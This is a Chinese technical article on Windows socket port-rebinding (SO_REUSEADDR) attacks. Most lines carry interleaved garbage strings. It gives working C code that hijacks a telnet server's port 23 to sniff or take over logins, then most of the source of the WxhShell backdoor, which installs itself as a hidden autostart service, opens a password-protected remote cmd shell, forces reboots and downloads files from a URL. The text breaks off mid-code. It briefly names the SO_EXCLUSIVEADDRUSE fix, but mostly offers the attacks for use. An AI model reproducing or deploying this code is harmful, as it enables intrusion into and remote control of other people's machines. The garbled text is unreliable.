在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ti]8_vP}* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ZEpu5` >* F#ZZv}p saddr.sin_family = AF_INET;
\l# H#~ %kH,Rl\g saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\<y|[ -]YsiE?r bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Nr"GxezU+A _j{)%%?r 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1Mx2% Y(ClG*6 ++ 这意味着什么?意味着可以进行如下的攻击:
*_Ih@f H ADP3Nic 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
qC=ZH# z,@R jaX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
VG$%Vs Ra^c5hP:.E 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ycEp,V;[Z hh.`Yu L 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
LW/> % ]n'.}"8Kn 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+(w9! 5?F 5-'Z.[ImB? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?i!d00X 8u"C7} N_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
x
#|t#N% 5g'aNkF6> #include
(tT%rj! #include
j~cG#t] #include
gF;C% } #include
@ kba^z DWORD WINAPI ClientThread(LPVOID lpParam);
Q'j00/K int main()
&`-e; Xt {
<K/iX%b? WORD wVersionRequested;
cA]PZ*]{BN DWORD ret;
5twG2p8 WSADATA wsaData;
dWo$5Bls<A BOOL val;
U9%^gC SOCKADDR_IN saddr;
_?bF;R SOCKADDR_IN scaddr;
EU Oa8Z int err;
KEq48+j SOCKET s;
D6\k}4n- SOCKET sc;
)sK_k
U{\ int caddsize;
/"R{1 HANDLE mt;
<BBSC DWORD tid;
tqKX\N=5^ wVersionRequested = MAKEWORD( 2, 2 );
9/R=_y- err = WSAStartup( wVersionRequested, &wsaData );
4s <ZKU if ( err != 0 ) {
0f5)] printf("error!WSAStartup failed!\n");
m8gU8a"( return -1;
O"RIY3m }
/$FpceB!W saddr.sin_family = AF_INET;
'X_%m~}N \@^`
G //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
x51xY$M H4M`^r@)' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4]%MrSjS saddr.sin_port = htons(23);
q _:7uQ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/q"8sj/ {
7Fb!;W#X printf("error!socket failed!\n");
3Ea/)EB] return -1;
BG]|iHi }
Xcg+ SOB val = TRUE;
Xupwh5G2 //SO_REUSEADDR选项就是可以实现端口重绑定的
%kQ[zd^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Dkg-y9 {
3Z%jx# printf("error!setsockopt failed!\n");
WxtB:7J return -1;
RTL@WI }
WtMDHfwqu\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
d#I; e //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
8Urj;KkD //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%6:"tuA th{Ib@o if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
r#6djs1 {
4X>=UO``L ret=GetLastError();
7q#R,\ printf("error!bind failed!\n");
n3s return -1;
U{9yfy }
88DMD"$B listen(s,2);
)hfI,9I~ while(1)
B+ZhQW {
buMST& caddsize = sizeof(scaddr);
rp!{QG //接受连接请求
|W|RX3D sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
D}nRH@<` if(sc!=INVALID_SOCKET)
okbW. ~ {
[R/'hH5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
!XF:.| if(mt==NULL)
g'.(te | {
g6.Tx]?b$ printf("Thread Creat Failed!\n");
(.g?|c break;
GVM)-Dp] }
FyllVrK }
}eLth0d`'o CloseHandle(mt);
fZxEE~Q1 }
H4ancmy closesocket(s);
*k;%H'2g{} WSACleanup();
QU)AgF[ return 0;
$# J }
-Vjrh/@ DWORD WINAPI ClientThread(LPVOID lpParam)
Tpp?(lT7r {
XhJYs q]]J SOCKET ss = (SOCKET)lpParam;
Pbakw81!~ SOCKET sc;
K5\;'.9M unsigned char buf[4096];
/)XN^Jwa;m SOCKADDR_IN saddr;
2nB{oF-Z long num;
wD $sKd DWORD val;
%9T|"\ DWORD ret;
)'$'?Fn //如果是隐藏端口应用的话,可以在此处加一些判断
IoHYY:[- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
wf,w%n saddr.sin_family = AF_INET;
">Y(0^^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
U)qG]RI saddr.sin_port = htons(23);
~J|B if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
KU87WpjX {
EN@<z; printf("error!socket failed!\n");
e>b|13X return -1;
'oZdMl& }
s-T#-raE val = 100;
W7q!F if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
""_%u'7t5I {
Z
WhV"]w& ret = GetLastError();
*|3G"B{w6 return -1;
w(!COu }
*o#P)H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[^\HP]*Q{ {
_4X3g%nXl ret = GetLastError();
I8 return -1;
E:$r" oS }
OF 1Qr bj if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
j>|mpfU {
I?Q[ZH:M printf("error!socket connect failed!\n");
@-aMj closesocket(sc);
QfI@=Kbg%# closesocket(ss);
KO=H!Em\l return -1;
Kbqx)E$iL }
4So
,m0v while(1)
je5GZFQw {
^:^8M4: //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:<R"Kk@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
]+@I]\S4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
=.t3|5U8 num = recv(ss,buf,4096,0);
C{FE*@U. if(num>0)
hta y- send(sc,buf,num,0);
{3|h^h_R else if(num==0)
7tU=5@M9D break;
sf'+; num = recv(sc,buf,4096,0);
7H_*1_%ZQ if(num>0)
*T0!q#R send(ss,buf,num,0);
3KN})*1 else if(num==0)
t@3y9U$ break;
OEXa^M4x
}
>vfbXnN closesocket(ss);
[D<"qT^*z6 closesocket(sc);
?9:~d#p return 0 ;
2D'$ }
bt0Q6v5 ,];QzENw :Wd@Qy?; ==========================================================
5HW'nhE <g{d>j 下边附上一个代码,,WXhSHELL
;hJz'&UWQ P] qL&_ ==========================================================
\CZD.2p#& NrWgaPO)i #include "stdafx.h"
#;F*rJ[XY )o_Pnq9_ #include <stdio.h>
!ZzDSQ; #include <string.h>
K7}]pk,AG #include <windows.h>
6w4}4i #include <winsock2.h>
TX$4x~: #include <winsvc.h>
:a'[4w #include <urlmon.h>
9<-7AN}Z cxn*!TwDs #pragma comment (lib, "Ws2_32.lib")
+`'> #pragma comment (lib, "urlmon.lib")
>4]y)df5 [^eQGv[S #define MAX_USER 100 // 最大客户端连接数
@ACq:+/Qc #define BUF_SOCK 200 // sock buffer
zF#:Uc`C5U #define KEY_BUFF 255 // 输入 buffer
!6l}s$1i| rtZEK:.# #define REBOOT 0 // 重启
V D.T=( #define SHUTDOWN 1 // 关机
]r(s02 aW;DfH #define DEF_PORT 5000 // 监听端口
L_Lhmtm}m @agxu-Y #define REG_LEN 16 // 注册表键长度
KU*XRZu) #define SVC_LEN 80 // NT服务名长度
9;`E,w <@J0
770 // 从dll定义API
ECr}7R% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
HAdDr!/` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
V~"-\@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}^zsN` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
tu5T^"BqO 0^>b=a // wxhshell配置信息
4-JyK%m,0 struct WSCFG {
W9/HM ! int ws_port; // 监听端口
!]t5(g_ char ws_passstr[REG_LEN]; // 口令
`xF^9;5mi int ws_autoins; // 安装标记, 1=yes 0=no
Qk]^]I char ws_regname[REG_LEN]; // 注册表键名
f7oJ6'K char ws_svcname[REG_LEN]; // 服务名
EdC/] char ws_svcdisp[SVC_LEN]; // 服务显示名
tM3Q;8gB! char ws_svcdesc[SVC_LEN]; // 服务描述信息
a?8boN( char ws_passmsg[SVC_LEN]; // 密码输入提示信息
5 =Op% int ws_downexe; // 下载执行标记, 1=yes 0=no
5LJ0V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
q cGsx2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-DL"Yw} dd:vQOF; };
ZXC_kmBN/ k8E{pc6; // default Wxhshell configuration
D2 X~tl5< struct WSCFG wscfg={DEF_PORT,
HJt@m
&H| "xuhuanlingzhe",
%ZM"c 1,
1}ws@hU "Wxhshell",
-xL^UcG0 "Wxhshell",
>Q[3t79^ "WxhShell Service",
^:Fj+d "Wrsky Windows CmdShell Service",
f:KZP;/[c "Please Input Your Password: ",
\t?rHB3" 1,
QyD(@MFxb "
http://www.wrsky.com/wxhshell.exe",
*1g3,NMA "Wxhshell.exe"
xzz0uk5
};
XS=f>e1<W @!p0<&R@x // 消息定义模块
l-?#oy char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
DAf0bh" char *msg_ws_prompt="\n\r? for help\n\r#>";
jhH&}d9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
) m(!lDz3 char *msg_ws_ext="\n\rExit.";
g+3_ $qIQ+ char *msg_ws_end="\n\rQuit.";
A\ r}V- char *msg_ws_boot="\n\rReboot...";
j] J-#J char *msg_ws_poff="\n\rShutdown...";
*NCkC
~4 char *msg_ws_down="\n\rSave to ";
R^&.:;Wi> 2"IDz01ne char *msg_ws_err="\n\rErr!";
Hd57Iw char *msg_ws_ok="\n\rOK!";
L'u*WHj|v <HH\VG\H6 char ExeFile[MAX_PATH];
!24PJ\~I int nUser = 0;
/Csk"IfuO HANDLE handles[MAX_USER];
S9%ZeM+ int OsIsNt;
z^u*e /B)`pF.n SERVICE_STATUS serviceStatus;
YT}ZLx SERVICE_STATUS_HANDLE hServiceStatusHandle;
lx:.9> V@r V+s // 函数声明
BKKW3PT int Install(void);
dF$&fo% int Uninstall(void);
;e0-FF+ int DownloadFile(char *sURL, SOCKET wsh);
&X#6jTh+ int Boot(int flag);
(Rh$0^)A void HideProc(void);
2hsRYh int GetOsVer(void);
uSUog+i int Wxhshell(SOCKET wsl);
A$70!5* void TalkWithClient(void *cs);
bMB*9<c~ int CmdShell(SOCKET sock);
<RuLIu int StartFromService(void);
%>Mcme>(W int StartWxhshell(LPSTR lpCmdLine);
>f70-D28 5O[\gd- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
L [&|<<c
VOID WINAPI NTServiceHandler( DWORD fdwControl );
\1<8'at ~(\.j=x // 数据结构和表定义
;e6L@)dp9 SERVICE_TABLE_ENTRY DispatchTable[] =
>!bw8lVV {
'Lh nl3 {wscfg.ws_svcname, NTServiceMain},
Q'rgh+6 {NULL, NULL}
lP*p7Y ' };
Vp&"[rC_z
_6-N+FI // 自我安装
7n]ukqZ int Install(void)
r6vI6|1 {
~ DP5Qi char svExeFile[MAX_PATH];
IO7cRg'-F HKEY key;
lC@wCgc strcpy(svExeFile,ExeFile);
F0tcVdv OV|n/~ // 如果是win9x系统,修改注册表设为自启动
s*R UYx if(!OsIsNt) {
Zi{vEI ] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U#:N/ts*( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X 4\V4_ RegCloseKey(key);
>dXB)yl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(L`IL e*
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
UJ><B" RegCloseKey(key);
o:`^1 return 0;
%E[ $np> }
8ib e#jlg }
SB,#y>Zv? }
ce:wF#Qs else {
49=
K]X (t5vBUj // 如果是NT以上系统,安装为系统服务
|E&|6h1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
v%7Gh-P if (schSCManager!=0)
W@RD
bsc {
/9o6R:B SC_HANDLE schService = CreateService
gfiFRwC`v (
`jec|i@oO schSCManager,
u)vS,dzu
wscfg.ws_svcname,
IZuP{7p$ wscfg.ws_svcdisp,
<Ok7-:OxA SERVICE_ALL_ACCESS,
}U?:al/m SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
A3|2;4t SERVICE_AUTO_START,
mbHMy[R SERVICE_ERROR_NORMAL,
']N\y6=fn9 svExeFile,
,/Q`gRBh" NULL,
hqa6aYY x NULL,
<5zr|BTF]F NULL,
5?.!A
'zb NULL,
P| ftEF NULL
&FG0v<f5Pv );
J^!wk9q if (schService!=0)
k ~4o`eA {
E {UhM q7 CloseServiceHandle(schService);
rpc;*t+z CloseServiceHandle(schSCManager);
F^&@[k7WW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
DABV}@ K" strcat(svExeFile,wscfg.ws_svcname);
uK0L> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
qp{~OW3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
nfh<3v|kvR RegCloseKey(key);
!QCErE;r return 0;
h6?o)Q>N }
oJ|m/i) }
G=l:v CloseServiceHandle(schSCManager);
l!": s:/' }
bl{W{?QI }
!Ej?9LHo ( dh9aR_a return 1;
#)s
+I2 }
iLN O}EUL 8!
/ue.T // 自我卸载
Zzmo7kFx3 int Uninstall(void)
7!;zkou {
0^)~p{Zh HKEY key;
Jl|^^? G?!8T91; if(!OsIsNt) {
%S^:5#9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
AC!yc(^< RegDeleteValue(key,wscfg.ws_regname);
nI] zRduC RegCloseKey(key);
^CD?SP"i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^S 45!mSb RegDeleteValue(key,wscfg.ws_regname);
n8JM
0 U- RegCloseKey(key);
>
w SI0N return 0;
MRT<hB }
]Bs{9=2 }
k%iwt]i% }
"whs?^/ else {
2b Fr8FUt- VxE;tJ>1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
,eSpt#M if (schSCManager!=0)
zjSHa'9* {
5mZwg(si SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
g?*D)WU if (schService!=0)
TP/bX&bjCy {
nRT]oAi if(DeleteService(schService)!=0) {
!_oR/) CloseServiceHandle(schService);
uX%$3k CloseServiceHandle(schSCManager);
. BX*C return 0;
TaF;PGjVw }
&8I*N6p:%/ CloseServiceHandle(schService);
_C19eW' }
T7o7t5* CloseServiceHandle(schSCManager);
d^`;tD }
C=2DxdZG }
bf.yA:~U nWhf return 1;
hZWkw{c }
\ 7IT[<Se (iIzoEpb8W // 从指定url下载文件
X~/-,oV=A int DownloadFile(char *sURL, SOCKET wsh)
[.6bxK {
B
]sVlbt HRESULT hr;
M.bkFuh char seps[]= "/";
?}= $zN char *token;
~_IQ:]k char *file;
lXEnm-_ char myURL[MAX_PATH];
;|W:,a{kS char myFILE[MAX_PATH];
b|iIdDK &VcO,7 A| strcpy(myURL,sURL);
F{_,IQ]U token=strtok(myURL,seps);
0g; o6Fg while(token!=NULL)
I!Mkss xc {
4N=
gl( file=token;
&wN}<Ge6 token=strtok(NULL,seps);
r%NzKPW' }
M#Q"h5l wWSE[S$V GetCurrentDirectory(MAX_PATH,myFILE);
K3h"oVn strcat(myFILE, "\\");
y\[q2M< strcat(myFILE, file);
?b93! Q1 send(wsh,myFILE,strlen(myFILE),0);
nB]mj_)R^ send(wsh,"...",3,0);
1&vR7z]* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`wr*@/P if(hr==S_OK)
QL2 `X2 return 0;
w,_LC)9 else
8iM:ok return 1;
=kCiJ8q| }^P"R[+4u }
2|U6dLZ! 3+q-yP#X // 系统电源模块
A,(9|#%L int Boot(int flag)
r;E5e]w*- {
V#R; -C HANDLE hToken;
Ndyo)11z TOKEN_PRIVILEGES tkp;
E`{DX9^ Mm1>g~o if(OsIsNt) {
s6#e?5J OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Ps;4 ]=c LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
N/<c;"o tkp.PrivilegeCount = 1;
_H-Fm$Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
PO^#G@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
(ak&>pk; if(flag==REBOOT) {
Wg<o%6` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<I 0om(P return 0;
E*kZGHA }
DF'~ #G8 else {
5+j):_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&JD^\+7U: return 0;
Qz_4Ms<o }
s
OLjT34 }
UIU6rilB else {
8@|{n`n] if(flag==REBOOT) {
\< a^5' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
T)Q_dF.N return 0;
6Q{OM:L/;. }
mS49l else {
!DV0u)k( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
N P5K1: return 0;
.q!i
+0 }
=
C/F26=| }
jl>wvY|| /b/ 6*& return 1;
}_H\75Iv }
%?F$3YN, ^+gD;a|t // win9x进程隐藏模块
: #so"O void HideProc(void)
Zv?"1Y< L {
y{~tMpo< I|;C}lfp HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
W7{^/s5r if ( hKernel != NULL )
B|{E[]iK {
oZdY0n h4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
(E~6fb"c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ZS`Kj(D FreeLibrary(hKernel);
8o.|P8% }
=.JcIT'
LlVbY=EX7 return;
_'^_9u G }
g_?Q3 )n[=)"rf // 获取操作系统版本
DbtkWq% int GetOsVer(void)
6\.LG4@LO {
\'|t>|zhp OSVERSIONINFO winfo;
n-,mC/4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
&qIdT;^=I GetVersionEx(&winfo);
fKtlfQG if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
tx Qr|\4k return 1;
B(O6qWsL else
x5rLGt return 0;
4Y4zBD=< }
@RL'pKab9 4$U^)\06W // 客户端句柄模块
/;!I.|j int Wxhshell(SOCKET wsl)
Xn>>hzj-x? {
pRUQMPn ( SOCKET wsh;
6z:/ma^
struct sockaddr_in client;
SwaPRAF DWORD myID;
!XM*y 1s(i\&B while(nUser<MAX_USER)
I7#JT?\} {
d<WNN1f int nSize=sizeof(client);
o`
dQ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
sI09X6) if(wsh==INVALID_SOCKET) return 1;
"5?1S-Vl _j*I\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
sD&V_
&i if(handles[nUser]==0)
{+3g*s/HI closesocket(wsh);
{>XoE % else
6Ypc]ym=J nUser++;
] ;CJ6gM~ }
<Z\{ijfvD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)_?h;wh 84 BN&}g}N return 0;
rp2g./2 }
!\O!Du FJxb!-0& // 关闭 socket
7KJ0>0~Et void CloseIt(SOCKET wsh)
={;+0Wjb8 {
r:4]:NKCi closesocket(wsh);
YD{N)v nUser--;
?{5}3abB` ExitThread(0);
X|QokAR{$> }
.])X.7@x Vo%Z| // 客户端请求句柄
c%(Ndi void TalkWithClient(void *cs)
R|``A5zQ {
<s$T7Zk 0;`+e22 SOCKET wsh=(SOCKET)cs;
Sq:J'%/z char pwd[SVC_LEN];
wbh=v; char cmd[KEY_BUFF];
zE?dQD^OD char chr[1];
2v#gCou int i,j;
q:iu
hI$~G UnEgsfN while (nUser < MAX_USER) {
!41"`D!1 [;ZC_fD if(wscfg.ws_passstr) {
vF>]9sMv if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_>?.MUPB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q:T9&_| //ZeroMemory(pwd,KEY_BUFF);
n.R"n9v` i=0;
cRNVqMpg while(i<SVC_LEN) {
GdrVH,j S2W@;XvV // 设置超时
UIht`[(z fd_set FdRead;
r6:e
423 struct timeval TimeOut;
Y>~jho FD_ZERO(&FdRead);
{Ve`VV5E FD_SET(wsh,&FdRead);
i->G{_gH TimeOut.tv_sec=8;
!@y/{~Gu TimeOut.tv_usec=0;
[X8EfU} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
#v9+9X`1L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=qL^#h83y 2~B5?(g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
?FV%e pwd
=chr[0]; A4b+:MQ*OX
if(chr[0]==0xd || chr[0]==0xa) { Nw-U*y
pwd=0; dy'lM ;@-
break; `>)pqI%L[g
} !;hp
i++; i'^! SEt
} f|)~_JH
up0=Y
o@
// 如果是非法用户,关闭 socket >g@@ yR,
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8s-X H
} `0!%jz=
4T
v=sP
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rq}xuSFI
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oEj$xm_}
BW`;QF<
while(1) { U)Tl<l<
vz1I/IdTd
ZeroMemory(cmd,KEY_BUFF); #TH(:I=[
.C ,dV7
// 自动支持客户端 telnet标准 b^P\Q s*m
j=0; #uICHt3
while(j<KEY_BUFF) { |B64%w>Y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 036QV M$
cmd[j]=chr[0]; bqx2lQf,_
if(chr[0]==0xa || chr[0]==0xd) { a$bE2'cb
cmd[j]=0; ,]das
break; _Vt(Eg_\
} I9`ZK2S
j++; \g)?7>M |
}
:m/qR74+"
sb?!U"v.'
// 下载文件 ,Z! I ^
if(strstr(cmd,"http://")) { C',uY7}<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); pr,1pqiAf
if(DownloadFile(cmd,wsh)) AI9922}*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TgJ6O,0
else \$F#bIjC
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HMmVfGp]
} y-gXGvZ
else { EVA&By6_k
u),.q7(m
switch(cmd[0]) { 5l%g3F
bUSa#pNO>
// 帮助 W{j(=<|<
case '?': { N%e^2O)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]&P 4QT)f
break; }"v#_vJfz7
} EV-# E
// 安装 XJ" xMv
case 'i': { ;ZP!:,
if(Install()) , E$f"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "s(|pQh;
else ~lqNWL^l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j7NOYm5N
break; Z
J1@z.
} ld 1[Usaq
// 卸载 <JvYCWX`
case 'r': { cjd-B:l
if(Uninstall()) 7-\wr^ll3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y>d`cRy
else U!JmSP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xf
mN/j2
break; :lmimAMt
} ?@MWV
// 显示 wxhshell 所在路径 Y@T$O<*
case 'p': { '0&HkM{ D
char svExeFile[MAX_PATH]; HsT6 #K
strcpy(svExeFile,"\n\r"); %kgT=<E'
strcat(svExeFile,ExeFile); j_0l'S aj
send(wsh,svExeFile,strlen(svExeFile),0); ;sz _W%-;@
break; Xr88I^F;
} :&2%x
// 重启 B8!$?1*^a
case 'b': { R"\(a
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dX[Xe
if(Boot(REBOOT)) ;4Xx5*E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zN-Y=-c
else { Ea0EG>Y
closesocket(wsh); \nL@P6X
ExitThread(0); cHVu6I?h
} 7_lgo6
break; .SOCWznb
} AgUjC
// 关机 =GeGlI6
case 'd': { z=8l@&hYLq
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n,_9Eh#WD
if(Boot(SHUTDOWN)) !<b+7A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O-P`HKr
else { ![MtJo5
closesocket(wsh); .G"T;w6d
ExitThread(0); MiF(
&#
} WE-+WC!!:
break; w7vQ6jkH
} -Y N(j\
// 获取shell !vHCftKel
case 's': { jW[EjhsH
CmdShell(wsh); &?}h)U#:
closesocket(wsh); wOrj-Smx
ExitThread(0); %?8.UW\m
break; fWDTP|DV
} Lw?>1rTT/
// 退出 o_[I#PT
case 'x': { yBv4 xKMH
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NL!xkcXO
CloseIt(wsh); 0TiDQ4}i[
break; z:)*Aobwv
} 4FKgp|Y0
// 离开 `q1-yH0~4
case 'q': { yWr&G@>G
send(wsh,msg_ws_end,strlen(msg_ws_end),0); r "\<+$ 7
closesocket(wsh); GW%!?mJ
WSACleanup(); *GdJ<B$
exit(1); %0 U@k!lP
break; 3jto$_3'w
} FR]uCH
} <Oy2JjY
} 4=& d{.E
<\d2)Iv
// 提示信息 xr!A>q+@i
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~i>'3j0@k
} CL t(_!q
} VwarU(*
|t#s h
return; &rc
r>-
} uD ;T
eq9qE^[Z&
// shell模块句柄 :cP u
int CmdShell(SOCKET sock) Dr}elR>~G=
{ Kf$6D 79#
STARTUPINFO si; \fYPz }wt
ZeroMemory(&si,sizeof(si)); X[?E{[@Z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [:A">eYI
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2%`8
PROCESS_INFORMATION ProcessInfo; qi8AK(v
char cmdline[]="cmd"; yDpv+6(a
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t6)R37
return 0; I6S>*V
} VHL[Y
xz7CnW1
// 自身启动模式 F^=y+}]=
int StartFromService(void) jo0XOs
{ i/C0
(!
typedef struct -}8r1jQH;
{ e
>7Ka\
DWORD ExitStatus; G2:.8ok
DWORD PebBaseAddress; vQDR;T"]
DWORD AffinityMask; @Qqf4h
DWORD BasePriority; CwO$EL:[`
